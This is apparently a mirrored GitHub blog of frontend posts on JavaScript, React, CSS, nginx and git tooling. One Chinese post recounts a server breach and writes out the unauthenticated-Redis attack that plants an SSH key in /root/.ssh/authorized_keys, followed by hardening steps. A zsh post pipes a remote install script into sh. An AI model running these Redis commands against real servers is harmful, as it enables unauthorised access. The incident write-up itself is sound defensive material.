Giter VIP home page Giter VIP logo

blogs's Introduction

Hi there 👋

I'm headwindz, living in Hangzhou

blogs's People

Contributors

cmey avatar headwindz avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

blogs's Issues

Ways to iterate through objects

Relevant basic concepts

Property accessors

let obj = {
  a: 'b'
};

// dot notation
console.log(obj.a); // 'b'
// bracket notation
console.log(obj['a']); // 'b'
// through prototype chain
console.log(obj.toString, obj.toString === Object.prototype.toString); // ƒ toString() { [native code] } true

Check whether a property exists in object

  • in operator: returns true if the specified property is in the specified object or its prototype chain.
  • hasOwnProperty: returns a boolean indicating whether the object has the specified property as its own property (as opposed to inheriting it).
let obj = {
  a: 'b'
};

console.log('a' in obj); //true
console.log('toString' in obj); //true
console.log(obj.hasOwnProperty('a')); //true
console.log(obj.hasOwnProperty('toString')); //false

Object.defineProperty && Object.defineProperties - defines new or modifies existing properties directly on an object, returning the object.

let obj = {
  a: "b"
};

Object.defineProperties(obj, {
  c: {
    value: 'd'
  },
  e: {
    value: 'f'
  }
});
console.log(obj); // {a: "b", c: "d", e: "f"}

getter and setter

We can use getters and setters to generate computed property. E.g.

let people = {
  firstName: 'michael',
  lastName: 'zheng',
  get fullName() {
    return `${this.firstName} ${this.lastName}`
  },
  set fullName(val) {
    [this.firstName, this.lastName] = val.split(' ');
  }
}

console.log(people.firstName, people.lastName, people.fullName);
//"michael", "zheng", "michael zheng"
people.fullName = 'hello world';
console.log(people.firstName, people.lastName, people.fullName);
//"hello", "world", "hello world"

There are three ways to iterate through objects

let student = {
  name: "michael"
};

Object.defineProperties(student, {
  age: {
    enumerable: false,
    value: 18
  },
  grade: {
    value: 6,
    enumerable: true
  },
  sex: {
    value: "male",
    enumerable: false
  }
});

Object.prototype.x = "inherited";

In the sample above, we create an object student. student has following properties:

  • name: self enumerable property
  • age: self non-enumerable property
  • grade: self enumerable property
  • sex: self non-enumerable property

as well as a custom property from prototype chain:

  • x: enumerable

for...in iterates over enumerable properties of an object, including prototype chain.

for (let prop in student) {
  console.log(prop); //'name', 'grade', 'x'
}

for (let prop in student) { // self properties only
  if (student.hasOwnProperty(prop)) {
    console.log(prop); // 'name', 'grade'
  }
}

Object.keys returns an array of a given object's property names, only iterate through self enumerable properties.(i.e. not including prototype chain)

console.log(Object.keys(student)); // [‘name’, 'grade']

//check whether is plain object:
Object.keys(student).length === 0; //false

Object.keys({}).length === 0; //true

Object.getOwnPropertyNames returns an array of all self properties (including non-enumerable properties) found directly upon a given object.

// will not iterate through prototype chain
console.log(Object.getOwnPropertyNames(student)); // [‘name’, ‘age’, 'grade', 'sex']

Summarize

methods through prototype chain enumerable only
for...in Y Y
Object.keys N Y
Object.getOwnPropertyNames N N

Function sleep in JavaScript

In Java, Thread.sleep causes the current thread to suspend execution for a specified period.

This is an efficient means of making processor time available to the other threads of an application or other applications that might be running on a computer system. However, JavaScript does NOT have such a native implementation. Thanks to async function, we can emulate the behavior:

async function sleep(interval) {
  return new Promise(resolve => {
    setTimeout(resolve, interval);
  })
}

Use case: print number 1 to 5 per second in consecutive way.

Async & Await implementation

async function one2FiveInAsync() {
  for(let i = 1; i <= 5; i++) {
    console.log(i);
    await sleep(1000)
  }
}

one2FiveInAsync();

Promise implementation

function one2FiveInPromise() {
  function logAndSleep(i) {
    console.log(i);
    if (i === 5) {
      return;
    }
    return sleep(1000).then(() => logAndSleep(i + 1));
  }

  logAndSleep(1);
}

one2FiveInPromise();

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Fixed CSS position is subject to "will-change" property

Hello !

Thank you for your blog article !
It helped me to find out why my menu was not fixed to viewport, BUT in my case I had the "will-change: transform" property set too, and it changed the "containing block", so i thing you could update your article to add "will-change" to the properties to care about.

Thank you.
Regards

跟钓鱼说nO

介绍

在日常的应用中,我们经常会在链接在加上一个回调地址用于跳转。例如我的应用是
http://www.taobao.com,假设我在没登录的情况下访问了 http://www.taobao.com/shoppingcart 。这时候会跳转到 http://www.taobao.com/login?url=/shoppingcart 。登录完后再跳转到_/shoppingcart_的地址。这里有个漏洞就是可能会有人恶意发送钓鱼链接。例如我可以给你发给链接
http://www.taobao.com/login?url=http://www.baidu.com 。如果不对url参数进行验证的话就会被导向恶意网站。

方法

如果是只能跳转到内部相对地址的话,可以采取/验证。

let urlQuery = getQuery(); //假设获取到url的参数了
let returnUrl = '/dashboard'; // 默认的返回地址
if(urlQuery.startsWith('/')) { // /开头是相对路径
    returnUrl = urlQuery;
}
return returnUrl;

这里会有个问题,如果url是//开头的话, 会被当成是绝对路径

//假设我当前在https://www.baidu.com

document.location='/taobao.com'; // 会跳转到 https://www.baidu.com/taobao.com
document.location='//taobao.com'; // 则会跳转到 https://taobao.com

所以这里需要对//进行下处理

let path = require('path');
let urlQuery = path.normalize(getQuery()); //假设获取到url的参数了
let returnUrl = '/dashboard'; // 默认的返回地址
if(urlQuery.startsWith('/')) { // /开头是相对路径
    returnUrl = urlQuery;
}
return returnUrl;

React optimization tips

In React, the component literally re-renders while its state or props change. While it makes sense as state represents internal data and props represent external data, it's not always the case. There are a few techniques which can prevent the component from unnecessary rendering. Let's go through the examples.

Always re-render

let count = 0;

class Button extends React.Component {
  render = () => {
    const { color } = this.props
    count++;
    return (
      <React.Fragment>
        <span> Render count: { count } </span>
        <button style={{ color }}> text </button>
      </React.Fragment>
    )
  }
}

class App extends React.Component {
  state = {
    color: 'red'
  }

  showRedButton = () => {
    this.setState({
      color: 'red'
    })
  }

  showGreenButton = () => {
    this.setState({
      color: 'green'
    })
  }

  render() {
    const { color } = this.state;
    const { showRedButton, showGreenButton } = this;
    return (
      <React.Fragment>
        <Button color={color}/>
        <button onClick={showRedButton}> red </button>
        <button onClick={showGreenButton}> green </button>
     </React.Fragment>)
  }
}

ReactDOM.render(<App/>, document.getElementById('root'))

Online Code Sample

Each time we click the buttons (either red or green), the count increments, indicating the Button component is re-rendering. However, the only prop that the Button is dependent on is color. If the color keeps unchanging, the rendering is unnecessary.

Goal: If we keep pressing the red button, we want the count to be unchanged as we dont want to re-render Button component since color remains the same.

Technique 1: shouldComponentUpdate

let count = 0;

class Button extends React.Component {
  shouldComponentUpdate(nextProps) {
    if(this.props.color === nextProps.color) {
      return false;
    }
    return true
  }
  
  render = () => {
    const { color } = this.props
    count++;
    return (
      <React.Fragment>
        <span> Render count: { count } </span>
        <button style={{ color }}> text </button>
      </React.Fragment>
    )
  }
}

class App extends React.Component {
  state = {
    color: 'red'
  }

  showRedButton = () => {
    this.setState({
      color: 'red'
    })
  }

  showGreenButton = () => {
    this.setState({
      color: 'green'
    })
  }

  render() {
    const { color } = this.state;
    const { showRedButton, showGreenButton } = this;
    return (
      <React.Fragment>
        <Button color={color}/>
        <button onClick={showRedButton}> red </button>
        <button onClick={showGreenButton}> green </button>
     </React.Fragment>)
  }
}

ReactDOM.render(<App/>, document.getElementById('root'))

ShouldComponentUpdate Code Sample

Technique 2: React.PureComponent

How it works

let count = 0;

class Button extends React.PureComponent {
  render = () => {
    const { color } = this.props
    count++;
    return (
      <React.Fragment>
        <span> Render count: { count } </span>
        <button style={{ color }}> text </button>
      </React.Fragment>
    )
  }
}

class App extends React.Component {
  state = {
    color: 'red'
  }

  showRedButton = () => {
    this.setState({
      color: 'red'
    })
  }

  showGreenButton = () => {
    this.setState({
      color: 'green'
    })
  }

  render() {
    const { color } = this.state;
    const { showRedButton, showGreenButton } = this;
    return (
      <React.Fragment>
        <Button color={color}/>
        <button onClick={showRedButton}> red </button>
        <button onClick={showGreenButton}> green </button>
     </React.Fragment>)
  }
}

ReactDOM.render(<App/>, document.getElementById('root'))

PureComponent Code Sample

Silver bullet?

PureComponent is basically Component with build-in shouldComponentUpdate hook. It seems that we should use PureCompnent at any cases since it has native rendering optimization?
Not really. PureComponent is using shallow equality for props and state comparison.

class TodoList extends React.PureComponent {
  render() {
    const { todos } = this.props;
    return (<ul>
      {
        todos.map((it, index) => <li key={index}> {it} </li>)
      }
    </ul>)
  }
}

class App extends React.Component {
  inputRef = React.createRef()

  state = {
    todos: []
  }

  onAdd = () => {
    let { todos } = this.state;
    const text = this.inputRef.current.value;
    todos.push(text);
    this.setState({
      todos
    });
  }

  render() {
    const { todos } = this.state;
    const { onAdd, inputRef } = this
    return (
      <React.Fragment>
        <input ref={inputRef} type='text' placeholder='enter todo'/>
        <button onClick={onAdd}> add todo </button>
        <TodoList todos={todos}/>
      </React.Fragment>
    )
  }
}

ReactDOM.render(<App/>, document.getElementById('root'))

Anti PureComponent

In the example, TodoList will never re-render as todos (which is the state from App and is passed in as props to TodoList) always has the same reference.

How to make it work?

class TodoList extends React.PureComponent {
  render() {
    const { todos } = this.props;
    return (<ul>
      {
        todos.map((it, index) => <li key={index}> {it} </li>)
      }
    </ul>)
  }
}

class App extends React.Component {
  inputRef = React.createRef()

  state = {
    todos: []
  }

  onAdd = () => {
    let { todos } = this.state;
    const text = this.inputRef.current.value;
    this.setState({
      todos: [...todos, text]
    });
  }

  render() {
    const { todos } = this.state;
    const { onAdd, inputRef } = this
    return (
      <React.Fragment>
        <input ref={inputRef} type='text' placeholder='enter todo'/>
        <button onClick={onAdd}> add todo </button>
        <TodoList todos={todos}/>
      </React.Fragment>
    )
  }
}

ReactDOM.render(<App/>, document.getElementById('root'))

PureComponent reference

It now works as we now make a new todos array each time we call the setState

React.memo - for functional component

How it works

let count = 0;

const Button = React.memo(function(props) {
  const { color } = props
  count++;
  return (
    <React.Fragment>
       <span> Render count: { count } </span>
       <button style={{ color }}> text </button>
      </React.Fragment>
    )
})

class App extends React.Component {
  state = {
    color: 'red'
  }

  showRedButton = () => {
    this.setState({
      color: 'red'
    })
  }

  showGreenButton = () => {
    this.setState({
      color: 'green'
    })
  }

  render() {
    const { color } = this.state;
    const { showRedButton, showGreenButton } = this;
    return (
      <React.Fragment>
        <Button color={color}/>
        <button onClick={showRedButton}> red </button>
        <button onClick={showGreenButton}> green </button>
     </React.Fragment>)
  }
}

ReactDOM.render(<App/>, document.getElementById('root'))

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Notes from airbnb

To convert an iterable object to an array, use spreads ... instead of Array.from

const foo = document.querySelectorAll('.foo');

// good
const nodes = Array.from(foo);

// best
const nodes = [...foo];

Use Array.from for converting an array-like object to an array.

const arrLike = { 0: 'foo', 1: 'bar', 2: 'baz', length: 3 };

// bad
const arr = Array.prototype.slice.call(arrLike);

// good
const arr = Array.from(arrLike);

Use Array.from instead of spread ... for mapping over iterables, because it avoids creating an intermediate array.

// bad
const baz = [...foo].map(bar);

// good
const baz = Array.from(foo, bar);

Use exponentiation operator ** when calculating exponentiations

// bad
const binary = Math.pow(2, 10);

// good
const binary = 2 ** 10;

Centering in CSS

Centering in CSS is should NOT make you frustrated.

Horizontal

text-align

text-align property can be inherited

Use Cases:

  • Inline or inline-block element(s)

Demo

<header>
  This text is centered.
</header>

<nav>
  <a>App</a>
  <a>Shop</a>
  <a>Login</a>
</nav>
header, nav {
  text-align: center
}

Inheritance Demo

<div class='container'>
  <div>
    <p> Hello to my demo </p>
  </div>
</div>
.container {
  text-align: center;
}

p is not centered, it's a block element and takes the full width. It's just the content/text that is centered.

margin

Use Cases:

  • Block element
  • Width is set

Demo

<div class='container'>
  <p> Hello to my demo </p>
</div>
.container p {
  width: 200px;
  margin: 0 auto;
}

position

Demo

<main class="container">
  <div>I'm the content, I want to be horizontally centered. I'm the content, I want to be horizontally centered</div>
</main>
.container {
  border: 1px solid red;
  position: relative;
  height: 300px
}

div {
  position: absolute;
  left: 50%;
  transform: translateX(-50%);
}

flex

Demo

<main class="container">
  <div>This is a paragraph. I want to be horizontally centered</div>
  <div>This is a paragraph. I want to be horizontally centered</div>
  <div>This is a paragraph. I want to be horizontally centered</div>
</main>
.container {
  display: flex;
  justify-content: center;
}

.container div {
  border: 1px solid red;
  margin-right: 10px;
}

Vertical

line-height

Use Cases:

  • Single line
  • Inline or inline block

Demo

<main class="container">
  <div>This is a paragraph. I want to be vertically centered</div>
</main>
div {
  border: 1px solid red;
  height: 40px;
  line-height: 40px;
}

position

Demo

<main class="container">
  <div>I'm the content, I want to be vertically centered. I'm the content, I want to be vertically centered</div>
</main>
.container {
  width: 150px;
  position: relative;
  height: 300px;
  border: 1px solid red;
}

div {
  position: absolute;
  top: 50%;
  transform: translateY(-50%);
}

flex

Demo

<main class="container">
  <div>I'm the content, I want to be vertically centered. I'm the content, I want to be vertically centered</div>
</main>
.container {
  width: 150px;
  display: flex;
  height: 300px;
  border: 1px solid red;
  align-items: center;
}

Both

Combination of the above horizontal and vertical centering solutions

Conclusion

As long as you don't have browser compatibility consideration, try to take display: flex as your first choice. It's almost the silver bullet in centering.

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

记一次被黑客攻击的经历

事情经过

某日被反馈说线上服务跪了,赶紧登录服务器重启服务。发现一直重启失败,找了下原因发现应用代码不见了!对方在根目录下留下一封勒索信 索要0.1个比特币。作为一名合格的程序员,我们的代码肯定都是放在代码库上有备份的。0.1个比特币肯定没有的,2毛钱不能再多了。不过想想这是第一次被黑客攻击,还是有点小鸡冻。这里总结一下。

安全漏洞

Redis

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。默认情况下Redis是没有开启认证的。这时候黑客可以通过redis-cli远程登录Redis服务器,通过改写配置恶意篡改 .ssh/authotrized_keys 文件,给自己添加服务器访问权限。

漏洞利用

  • 将公钥写入文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
  • 连接 Redis 写入文件
$ cat key.txt | redis-cli -h 192.168.11.11 -x set hack
$ redis-cli -h 192.168.11.11

# dir: 
# The working directory.
#
# The DB will be written inside this directory, with the filename specified
# above using the 'dbfilename' configuration directive.
#
# The Append Only File will also be created inside this directory.
#
# Note that you must specify a directory here, not a file name.

$ 192.168.11.11:6379> config set dir /root/.ssh/
OK
$ 192.168.11.11:6379> config get dir
1) "dir"
2) "/root/.ssh"

# dbfilename: The filename where to dump the DB

$ 192.168.11.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.11.11:6379> save
OK

这样就可以将自己的公钥写进authorized_keys, 然后就可以直接ssh登录到服务器主机。

漏洞防护

  • 在redis.conf里添加密码验证
# Require clients to issue AUTH <PASSWORD> before processing any other
# commands.  This might be useful in environments in which you do not trust
# others with access to the host running redis-server.
#
# This should stay commented out for backward compatibility and because most
# people do not need auth (e.g. they run their own servers).
#
# Warning: since Redis is pretty fast an outside user can try up to
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.
#
requirepass yourpassword
  • 在redis.conf里添加白名单
#
# ~~~ WARNING ~~~ If the computer running Redis is directly exposed to the
# internet, binding to all the interfaces is dangerous and will expose the
# instance to everybody on the internet. So by default we uncomment the
# following bind directive, that will force Redis to listen only into
# the IPv4 lookback interface address (this means Redis will be able to
# accept connections only from clients running into the same computer it
# is running).
#
bind 127.0.0.1

补充

本地起的mysql禁止外网访问

  • 修改my.cnf
[mysqld]
bind-address = 127.0.0.1
  • 验证
//看是否监听 127.0.0.1 而不是 0.0.0.0
netstat -an | egrep 3306

An Utility to group items in order

Toggle

Toggle with only two choices

E.g. toggle a switch whose status can only be on and off. In the case, we can use boolean

let status = true;
function toggle() {
  status = !status;
}

for(let i = 0; i < 10; i++) {
  toggle();
  console.log(status ? 'on' : 'off');
}

Toggle with more than two choices

E.g. toggle traffic lights. In the case, we can use a counter and increment the counter at each toggle and use remainder to get the active light.

let counter = 0;
function toggle() {
  counter++
}

function getActiveLight() {
  let remainder = counter % 3;
  switch (remainder) {
    case 0:
      return 'red';
    case 1:
      return 'yellow';
    case 2:
      return 'green';
  }
}

for(let i = 0; i < 10; i++) {
  toggle();
  console.log(getActiveLight());
}

Grouping

The idea of grouping a list of items into subgroups is similar to the toggle example above where we make use of quotient and remainder

Z Ordering

left-to-right, top-to-bottom

E.g.

[1,2,3,4,5,6,7] with 3 groups will result in:

[[1, 2, 3], [4, 5, 6], [7]]

i.e.

1 2 3
4 5 6
7

Implementation

Background

  • An array arr
  • number of groups/colums numOfColumns

Pattern

A B C D
E F G H
I

Given numOfColumns, the item with index idx should be placed on rowIndex Math.floor(index / numOfColumns) and columnIndex idx % numOfColumns. For the example, G has index 6 and numOfColumns is 4. Therefore,

  • rowIndex of G would be Math.floor(idx / numOfColumns) = Math.floor(6 / 4) = 1
  • columnIndex of G would be idx % numOfColumns = 6 % 4 = 2

=> G would be on the third column of the second row. (Note: index starts from zero)

Code

const result = [];
arr.forEach((it, index) => {
  let rowIndex, columnIndex;
  rowIndex = Math.floor(index / numOfColumns);
  columnIndex = index % numOfColumns;
  result[rowIndex] = result[rowIndex] || [];
  result[rowIndex][columnIndex] = it;
});

N Ordering

top-to-bottom -> left-to-right

E.g.

[1,2,3,4,5,6,7] with 3 groups will result in:

[[1, 4, 7], [2, 5], [3, 6]]

i.e.

1 4 7
2 5 
3 6

Implementation

Background

  • An array arr
  • number of groups/colums numOfColumns

Thoughts

Z ordering is a bit counter-intuitive. However, it still follow a pattern similar to N ordering. The difference lays on

  • The concept of row and column is the reverse of N ordering
  • How to deal with quotient and remainder

Pattern

A C E G
B D F H

Given numOfColumns, the number of rows numOfRows that we need to have to hold the items would be Math.ceil(arr.length / numOfColumns). The item with index idx should be placed on rowIndex idx % numOfRows and columnIndex Math.floor(idx / numOfRows). For the example, G has index 6 and numOfColumns is 4. Therefore,

  • numOfRows would be Math.ceil(arr.length / numOfColumns) = Math.ceil(8 / 4) = 2
  • rowIndex of G would be idx % numOfRows = 6 % 2 = 0
  • columnIndex of G would be Math.floor(idx / numOfRows) = Math.floor(6 / 2) = 3

=> G would be on the fourth column of the first row. (Note: index starts from zero)

Code

let result = [];
const numOfRows = Math.ceil(arr.length / numOfColumns);
arr.forEach((it, index) => {
  let rowIndex, columnIndex;
  rowIndex = index % numOfRows;
  columnIndex = Math.floor(index / numOfRows);
  result[rowIndex] = result[rowIndex] || [];
  result[rowIndex][columnIndex] = it;
});

Source Code

Codepen
github
npm

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Tedder - a scrum git branch manager

Tedder - a scrum git branch manager

Background

In my team we have been adopting scrum to manage work items. We set a sprint to be one week length and we have a git sprint branch which is used to release the work done in the sprint.

Why

  • We do have a naming standard for the sprint branch but it's sometimes violated for some reasons, leading to inconsistent branches. Our naming standard is feature/[yyyy][mm][dd], therefore the branch should be feature/20180809 for the sprint ending in 9th Aug 2018. I do see these kinds of violations:

    • feature/0809 - missing year
    • feature/180809 - short year
    • featuer/20180809 - tries to follow the standard but makes a typo
  • If more than one developer participates in the sprint, they usually need to hang around asking whether the branch has been created since only one branch needs creating, leading to unnecessary communication and development interruption.

How

  • For detail usage, refers to the docs
  • Basically you would want to setup a config file in your git repo:
// .tedderrc
{
    "day": "Thu",
    "template": "feat/[yyyy][mm][dd]"
}

Then when you run tedder command in your repo, it will compute the branch name based on your specificed template and day. In our exmaple above, it will be feat/[yyyy][mm][dd] with yyyy,
mm and dd being substituted with the full year, month and date of next Thursday. It will then check the corresponding remote branch exists or not. If the corresponding remote branch exists, meaning others have created the branch before, it will simple fetch the remote branch and switch to the branch. Otherwiese, it will automatically create the branch for you and push it to remote repo.

You can also set a script in your package.json to use it locally.

//package.json

{
    script: {
        "scrum": "tedder"
    }
}

Then you can simply do

npm run scrum
  • You can also use it globally from command line with options.
tedder -t 'hotfix-[yy][mm][dd]' -d Mon -n 1

This will setup the hotfix branch for next Monday for you.

Step over nginx buffer issue

Background

I have been using nginx as reverse proxy for my daily development work. After upgrading nginx today, it somehow stops working correctly: a vendor.js file built from webpack has not been served properly. I get the following error from chrome console:

GET http://nginx.example.com/dist/js/vendor.js net::ERR_CONTENT_LENGTH_MISMATCH 

I take some quick lookarounds and find out:

  • Network tab shows the vendor.js request has a status code 200.
    • The response header seems to be fine. However, there is nothing to preview in chrome network tab.

    • The Content-Length of the vendor.js matches the real size of the file.

      # ls -l : get the size in byte
      -rw-r--r--   1 michaelzheng  staff   4844863 Jul  2 17:00 vendor.js
        
      # ls -lh : get the size in human readable format 
      -rw-r--r--   1 michaelzheng  staff   4.6M  Jul vendor.js 
  • Loading the vendor.js directly through browser or curl works perfectly.

Debug

  • Find the location of nginx config file(i.e. nginx.conf)

    nginx -t
  • Find the location of error log, which is usually defined in nginx.conf

  • Check out the error

    # tail -f nginx
    2018/07/02 22:29:27 [crit] 14586#0: *3641 open() "/usr/local/var/run/nginx/proxy_temp/1/08/0000000081" failed
    (13: Permission denied) while reading upstream, client: 127.0.0.1, server: nginx.example.com, request: "GET /dist/js/vendor.js HTTP/1.1", 
    upstream: "http://127.0.0.1:8080/dist/js/vendor.js", host: "nginx.example.com", referrer: "http://nginx.example.com/testabc"

    Now that we can clearly see it's related to permission problem of the buffer directory proxy_temp.

Solutions

  • Solution 1 - Grant permission

    chown -R nobody:admin proxy_temp

    You need to first run the command ps aux | grep nginx to find out the owner of the nginx process which is usually nobody

  • Solution 2 - Disable buffering with proxy_buffering set to off

  • Solution 3 - Change the buffer directory to other directory the nginx process owner has permission to, with proxy_temp_path directive.

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Polishing CSS through building a compound input

In the post I will list the steps taken to build a compound input component and some interesting CSS observations made through the process.

Round one

<input class='input protocol' placeholder='enter protocol' type='text'/>
<input class='input host' placeholder='enter host' type='text'/>
.input {
  padding: 5px;
  border: 1px solid #d1c9c9;
}
.input:focus {
  border-color: #3c5ed9;
}

outline

There are two problems with the above solution.

  • A line is drawn around elements to make the input "stand out" when the input is clicked.
Why and How

The line is [outline](https://developer.mozilla.org/en-US/docs/Web/CSS/outline). It can be removed by setting `outline: none`.

  • Currently there are some spaces between the two inputs while I expect them to sit near each other.
Why and How

No margins are applied to the input elements. The space is the character from html code. There are a few solutions we can apply to solve the problem.

  • Remove the character

E.g.

<input class='input protocol' placeholder='enter protocol' type='text'/><input class='input host' placeholder='enter host' type='text'/>
  • Apply negative margin to one of the input elements to shift its position

  • Wrap the inputs with a parent container and set font size to 0 on parent.

We then result in the following solution:

<div class='compound-input'>
  <input class='input protocol' placeholder='enter protocol' type='text'/>
  <input class='input host' placeholder='enter host' type='text'/>
</div>
.compound-input {
  font-size: 0;
}

.input {
  outline: none;
  padding: 5px;
  border: 1px solid #d1c9c9;
}

.input:focus {
  border-color: #3c5ed9;
}

Round two

borders

Now that the two inputs are near each other. However, the right border of the left input and the left border of the right input adds up and it looks inharmonic. Setting a negative margin-right to the first input to shift it towards the second input should fix the problem, as now the two borders stack.

<div class='compound-input'>
  <input class='input protocol' placeholder='enter protocol' type='text'/>
  <input class='input host' placeholder='enter host' type='text'/>
</div>
.compound-input {
  font-size: 0;
}

.input {
  outline: none;
  padding: 5px;
  border: 1px solid #d1c9c9;
}

.input:focus {
  border-color: #3c5ed9;
}

.input:first-child {
  margin-right: -1px;
}

Round three

border stack

By setting negative margin-left: -1px to the first input element, the right-border of first input element is now always missing. Clicking the first input will no longer has a right border highlight effect. The first idea that comes up in mind is to set the z-index to the element that has focus state. To make it work, we also have to set the position: relative to both inputs as z-index only works for a positioned box (that is, one with any position other than static)

Final Solution

<div class='compound-input'>
  <input class='input protocol' placeholder='enter protocol' type='text'/>
  <input class='input host' placeholder='enter host' type='text'/>
</div>
.compound-input {
  font-size: 0;
}

.input {
  outline: none;
  padding: 5px;
  border: 1px solid #d1c9c9;
  position: relative;
}

.input:focus {
  border-color: #3c5ed9;
}

.protocol {
  margin-right: -1px;
}

.input:first-child:focus {
  z-index: 10;
}

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe

zsh!

安装

wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh

安装好之后切换到zsh.

chsh -s /usr/local/bin/zsh

配置主题

人都是视觉动物。首要任务自然是给zsh挑一个风*的主题。
我用的主题是honukai-iterm-zsh.

插件

通过修改.zshrc里面的plugins可以修改或添加插件. 默认加载git.

plugins=(git)

一些牛逼轰轰的插件:

# 内置git插件-常用快捷键
alias g='git'

alias ga='git add'
alias gaa='git add --all'

alias gb='git branch'
alias gbd='git branch -d'
alias gbl='git blame -b -w'

alias gcam='git commit -a -m'
alias gcsm='git commit -s -m'
alias gcb='git checkout -b'
alias gpristine='git reset --hard && git clean -dfx'
alias gcm='git checkout master'
alias gcd='git checkout dev'
alias gcmsg='git commit -m'
alias gco='git checkout'
alias gcp='git cherry-pick'
alias gd='git diff'
alias gdca='git diff --cached'
alias gdct='git describe --tags `git rev-list --tags --max-count=1`'
alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
alias gpsup='git push --set-upstream origin $(git_current_branch)'

alias gl='git pull'
alias glg='git log --stat'
alias glgp='git log --stat -p'
alias glgg='git log --graph'
alias glgga='git log --graph --decorate --all'
alias glgm='git log --graph --max-count=10'
alias glo='git log --oneline --decorate'
alias glol="git log --graph --pretty='%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"
alias glola="git log --graph --pretty='%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --all"
alias glog='git log --oneline --decorate --graph'
alias gloga='git log --oneline --decorate --graph --all'
alias gm='git merge'
alias gp='git push'

alias gr='git remote'
alias gra='git remote add'
alias grb='git rebase'
alias grba='git rebase --abort'
alias grbc='git rebase --continue'
alias grbi='git rebase -i'
alias grbm='git rebase master'
alias grbs='git rebase --skip'
alias grh='git reset HEAD'
alias grhh='git reset HEAD --hard'
alias grmv='git remote rename'
alias grrm='git remote remove'
alias grset='git remote set-url'
alias grt='cd $(git rev-parse --show-toplevel || echo ".")'
alias gru='git reset --'
alias grup='git remote update'
alias grv='git remote -v'

alias gsps='git show --pretty=short --show-signature'
alias gst='git status'
alias gsta='git stash save'
alias gstaa='git stash apply'
alias gstd='git stash drop'
alias gstl='git stash list'
alias gstp='git stash pop'

alias gts='git tag -s'
alias gtv='git tag | sort -V'

用过都说好!

我的配置

Controlled and uncontrolled component design pattern in React

The Uncontrolled

An Uncontrolled Component is one that stores and maintains its own state internally.

  • A ref is used to find its current value when you need it.
  • React doesn't recommend this pattern but it's useful when developers only care about the final state rather than the intermediate state of the component. The following is an example of a Switch implemented in uncontrolled way.
class Switch extends React.Component {
  constructor(props) {
    super(props);
    // maintain its own state
    this.state = {
      checked: false
    };
  }
  
  // expose state data for parent component to access
  get value() {
    return this.state.checked;
  }
  
  toggle = () => {
    this.setState((prevState) => {
       return {
         checked: !prevState.checked
       }
    })
  }

  render() {
    // check status is maintained in own state
    const { checked } = this.state;
    let classNames = ['switch'];
    
    if (checked) {
      classNames = [...classNames, 'checked']
    }
    return (
      <div>
        <button className={classNames.join(' ')} onClick={this.toggle}/>
      </div>
    );
  }
}

class Wrapper extends React.Component {
  
  ref = React.createRef();

  getValue = () => {
    alert(this.ref.current.value);
  }
  
  render() {
    return <React.Fragment>
      <Switch ref={this.ref}/>
      <button onClick={this.getValue} style={{ marginTop: 20 }}> Switch Status </button>
    </React.Fragment>
  }
}

ReactDOM.render(
  <Wrapper />,
  document.getElementById('root')
);

The Controlled

A Controlled Component takes its current value through props and notifies changes through callbacks. A parent component "controls" it by handling the callback and managing its own state and passing the new values as props to the controlled component.

The following is an example of a Switch implemented in controlled way.

class Switch extends React.Component {
  constructor(props) {
    super(props);
  }
  
  toggle = () => {
    // callback passed in from parent
    const { checked, onChange } = this.props;
    onChange(!checked)
  }

  render() {
    // check status is maintained by props from parent component
    const { checked } = this.props;
    let classNames = ['switch'];
    
    if (checked) {
      classNames = [...classNames, 'checked']
    }
    return (
      <div>
        <button className={classNames.join(' ')} onClick={this.toggle}/>
      </div>
    );
  }
}

class Wrapper extends React.Component {
  
  state = {
    checked: false
  }

  getValue = () => {
    alert(this.state.checked);
  }
  
  // when check status changes, maintain it in parent state
  onChange = (checked) => {
    this.setState({
      checked
    })
  }
  
  render() {
    return <React.Fragment>
      <Switch checked={this.state.checked} onChange={this.onChange}/>
      <button onClick={this.getValue} style={{ marginTop: 20 }}> Switch Status </button>
    </React.Fragment>
  }
}

ReactDOM.render(
  <Wrapper />,
  document.getElementById('root')
);

The Mixed

A Mixed Component allows for usage in either Uncontrolled or Controlled way. It accepts its initial value as a prop and puts it in state. It then reacts to props change through Component Lifecycle to sync state update to date with props.

Switch Example in Mixed mode

class Switch extends React.Component {
  constructor(props) {
    super(props);
    // maintain check status in own state
    this.state = {
      checked: props.checked || false
    };
  }
  
  get value() {
    return this.state.checked;
  }
  
  static getDerivedStateFromProps(nextProps, currentState) {
    // react to props change and sync state accordingly
    // only in controlled mode
    if(nextProps.hasOwnProperty('checked') && (nextProps.checked != currentState.checked)) {
      return {
        checked: nextProps.checked
      }
    }
    return null;
  }
  
  toggle = () => {
    const { onChange, checked } = this.props;
